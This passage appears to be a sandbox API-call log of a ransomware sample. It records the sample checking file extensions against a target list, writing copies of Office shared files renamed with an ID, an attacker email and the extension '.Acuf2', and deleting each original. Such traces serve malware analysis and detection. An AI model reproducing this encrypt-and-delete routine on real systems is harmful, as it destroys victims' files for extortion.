	[0047.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.003] lstrlenW (lpString=".dbf") returned 4
	[0047.003] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.003] lstrlenW (lpString=".1cd") returned 4
	[0047.003] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.003] lstrlenW (lpString=".jpg") returned 4
	[0047.003] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.003] lstrcmpiW (lpString1=".HTM", lpString2=".Acuf2") returned 1
	[0047.003] lstrlenW (lpString="MCABOUT.HTM") returned 11
	[0047.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.004] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=11463) returned 1
	[0047.004] CloseHandle (hObject=0x1a4) returned 1
	[0047.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20
	[0047.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.004] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.005] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0047.006] GetLastError () returned 0x0
	[0047.006] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x2cc7, lpOverlapped=0x0) returned 1
	[0047.008] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x2cd0, lpOverlapped=0x0) returned 1
	[0047.009] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.009] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0047.009] SetEndOfFile (hFile=0x1bc) returned 1
	[0047.009] CloseHandle (hObject=0x1bc) returned 1
	[0047.009] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.009] SetEndOfFile (hFile=0x1a4) returned 1
	[0047.010] CloseHandle (hObject=0x1a4) returned 1
	[0047.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.010] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1
	[0047.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.011] lstrlenW (lpString=".doc") returned 4
	[0047.011] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0047.011] lstrlenW (lpString=".docx") returned 5
	[0047.011] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1
	[0047.011] lstrlenW (lpString=".pdf") returned 4
	[0047.011] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0047.011] lstrlenW (lpString=".xls") returned 4
	[0047.011] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0047.011] lstrlenW (lpString=".xlsx") returned 5
	[0047.011] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1
	[0047.011] lstrlenW (lpString=".ppt") returned 4
	[0047.011] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0047.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.011] lstrlenW (lpString=".zip") returned 4
	[0047.011] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0047.011] lstrlenW (lpString=".rar") returned 4
	[0047.011] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0047.011] lstrlenW (lpString=".bz2") returned 4
	[0047.011] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0047.011] lstrlenW (lpString=".7z") returned 3
	[0047.011] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0047.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.011] lstrlenW (lpString=".dbf") returned 4
	[0047.011] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0047.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.011] lstrlenW (lpString=".1cd") returned 4
	[0047.012] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0047.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.012] lstrlenW (lpString=".jpg") returned 4
	[0047.012] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0047.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.012] lstrlenW (lpString=".doc") returned 4
	[0047.012] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0047.012] lstrlenW (lpString=".docx") returned 5
	[0047.012] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1
	[0047.012] lstrlenW (lpString=".pdf") returned 4
	[0047.012] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0047.012] lstrlenW (lpString=".xls") returned 4
	[0047.012] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0047.012] lstrlenW (lpString=".xlsx") returned 5
	[0047.012] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1
	[0047.012] lstrlenW (lpString=".ppt") returned 4
	[0047.012] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0047.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.012] lstrlenW (lpString=".zip") returned 4
	[0047.012] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0047.012] lstrlenW (lpString=".rar") returned 4
	[0047.012] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0047.012] lstrlenW (lpString=".bz2") returned 4
	[0047.012] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0047.012] lstrlenW (lpString=".7z") returned 3
	[0047.012] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0047.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.012] lstrlenW (lpString=".dbf") returned 4
	[0047.012] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0047.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.013] lstrlenW (lpString=".1cd") returned 4
	[0047.013] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0047.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0047.013] lstrlenW (lpString=".jpg") returned 4
	[0047.013] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0047.013] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0047.013] lstrlenW (lpString="DATES.XML") returned 9
	[0047.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.013] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=8918) returned 1
	[0047.013] CloseHandle (hObject=0x1a4) returned 1
	[0047.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20
	[0047.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.014] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.014] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0047.016] GetLastError () returned 0x0
	[0047.016] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x22d6, lpOverlapped=0x0) returned 1
	[0047.017] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x22e0, lpOverlapped=0x0) returned 1
	[0047.018] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.018] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0047.018] SetEndOfFile (hFile=0x1bc) returned 1
	[0047.019] CloseHandle (hObject=0x1bc) returned 1
	[0047.019] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.019] SetEndOfFile (hFile=0x1a4) returned 1
	[0047.020] CloseHandle (hObject=0x1a4) returned 1
	[0047.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.020] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1
	[0047.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.020] lstrlenW (lpString=".doc") returned 4
	[0047.020] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.020] lstrlenW (lpString=".docx") returned 5
	[0047.020] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0047.020] lstrlenW (lpString=".pdf") returned 4
	[0047.020] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.020] lstrlenW (lpString=".xls") returned 4
	[0047.020] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.020] lstrlenW (lpString=".xlsx") returned 5
	[0047.020] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0047.021] lstrlenW (lpString=".ppt") returned 4
	[0047.021] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.021] lstrlenW (lpString=".zip") returned 4
	[0047.021] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.021] lstrlenW (lpString=".rar") returned 4
	[0047.021] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString=".bz2") returned 4
	[0047.021] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString=".7z") returned 3
	[0047.021] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.021] lstrlenW (lpString=".dbf") returned 4
	[0047.021] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.021] lstrlenW (lpString=".1cd") returned 4
	[0047.021] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.021] lstrlenW (lpString=".jpg") returned 4
	[0047.021] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.021] lstrlenW (lpString=".doc") returned 4
	[0047.021] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString=".docx") returned 5
	[0047.021] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0047.021] lstrlenW (lpString=".pdf") returned 4
	[0047.021] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString=".xls") returned 4
	[0047.021] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.021] lstrlenW (lpString=".xlsx") returned 5
	[0047.022] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0047.022] lstrlenW (lpString=".ppt") returned 4
	[0047.022] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.022] lstrlenW (lpString=".zip") returned 4
	[0047.022] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.022] lstrlenW (lpString=".rar") returned 4
	[0047.022] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.022] lstrlenW (lpString=".bz2") returned 4
	[0047.022] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.022] lstrlenW (lpString=".7z") returned 3
	[0047.022] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.022] lstrlenW (lpString=".dbf") returned 4
	[0047.022] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.022] lstrlenW (lpString=".1cd") returned 4
	[0047.022] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0047.022] lstrlenW (lpString=".jpg") returned 4
	[0047.022] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.022] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0047.022] lstrlenW (lpString="PHONE.XML") returned 9
	[0047.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.023] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1844) returned 1
	[0047.023] CloseHandle (hObject=0x1a4) returned 1
	[0047.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20
	[0047.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.023] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.023] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0047.024] GetLastError () returned 0x0
	[0047.024] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x734, lpOverlapped=0x0) returned 1
	[0047.326] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x740, lpOverlapped=0x0) returned 1
	[0047.327] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.327] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0047.327] SetEndOfFile (hFile=0x1bc) returned 1
	[0047.327] CloseHandle (hObject=0x1bc) returned 1
	[0047.327] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.327] SetEndOfFile (hFile=0x1a4) returned 1
	[0047.328] CloseHandle (hObject=0x1a4) returned 1
	[0047.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.328] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1
	[0047.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.329] lstrlenW (lpString=".doc") returned 4
	[0047.329] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.329] lstrlenW (lpString=".docx") returned 5
	[0047.329] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0047.329] lstrlenW (lpString=".pdf") returned 4
	[0047.329] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.329] lstrlenW (lpString=".xls") returned 4
	[0047.329] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.329] lstrlenW (lpString=".xlsx") returned 5
	[0047.329] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0047.329] lstrlenW (lpString=".ppt") returned 4
	[0047.329] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.329] lstrlenW (lpString=".zip") returned 4
	[0047.329] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.329] lstrlenW (lpString=".rar") returned 4
	[0047.329] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.329] lstrlenW (lpString=".bz2") returned 4
	[0047.329] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.329] lstrlenW (lpString=".7z") returned 3
	[0047.329] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.329] lstrlenW (lpString=".dbf") returned 4
	[0047.329] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.329] lstrlenW (lpString=".1cd") returned 4
	[0047.330] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.330] lstrlenW (lpString=".jpg") returned 4
	[0047.330] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0047.330] lstrlenW (lpString=".doc") returned 4
	[0047.330] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString=".docx") returned 5
	[0047.330] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0047.330] lstrlenW (lpString=".pdf") returned 4
	[0047.330] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString=".xls") returned 4
	[0047.330] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.330] lstrlenW (lpString=".xlsx") returned 5
	[0047.330] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0047.330] lstrlenW (lpString=".ppt") returned 4
